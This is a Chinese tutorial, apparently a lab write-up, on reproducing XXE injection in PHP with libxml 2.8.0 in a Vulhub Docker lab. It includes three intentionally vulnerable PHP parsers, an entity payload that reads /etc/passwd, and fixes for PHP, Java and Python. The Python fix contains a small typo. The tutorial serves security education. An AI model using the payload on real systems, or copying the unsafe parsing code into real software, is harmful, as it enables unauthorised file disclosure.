PHP環境 XML外部實體注入漏洞
- 環境介紹
- 漏洞原理
- 漏洞複現
- 修補方案和建議
環境介紹
libxml 2.8.0
libxml2.9.0以後,預設不解析外部實體,導緻XXE漏洞逐漸消亡。為了示範PHP環境下的XXE漏洞,本例會将libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。
漏洞原理
XML 被設計為傳輸和存儲資料,其焦點是資料的内容。 HTML 被設計用來顯示資料,其焦點是資料的外觀。 HTML 旨在顯示資訊,而 XML 旨在傳輸資訊。XML特點,XML 被設計用來結構化、存儲以及傳輸資訊。僅僅是純文字,有能力處理純文字的軟體都可以處理 XML。XML 允許創作者定義自己的标簽和自己的文檔結構。XML 是獨立于軟體和硬體的資訊傳輸工具。所有現代浏覽器都有讀取和操作 XML 的内建 XML 解析器,但是不同的浏覽器解析的方法不一樣的,如在IE中使用loadXML()方法,在其他浏覽器中使用DOMParser。loadXML()方法用于加載字元串文本,load()方法用于加載檔案。解析器把 XML 載入記憶體,然後把它轉換為可通過 JavaScript 通路的 XML DOM 對象。
漏洞複現
利用Vulhub靶場進行漏洞複現
cd /vulhub/php/php_xxe
docker-compose up -d
環境啟動後,通路
http://your-ip:8080/index.php
即可看到 phpinfo,搜尋 libxml 即可看到其版本為 2.8.0。
Web目錄位www有四個檔案
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body
dom.php
,
SimpleXMLElement.php
,
simplexml_load_string.php
均可觸發XXE漏洞,具體輸出點請閱讀這三個檔案的代碼。
三個頁面源碼依次如下:
dom.php
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
SimpleXMLElement.php
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
echo $xml->name;
simplexml_load_string.php
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
通過burp suite抓取通路
dom.php
,
SimpleXMLElement.php
,
simplexml_load_string.php
的資料包并添加payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
修補方案和建議
- 使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml importetree xmlData= etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 過濾使用者送出的XML資料
如:!ENTITY,SYSTEM和PUBLIC
參考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
https://blog.csdn.net/EC_Carrot/article/details/118900314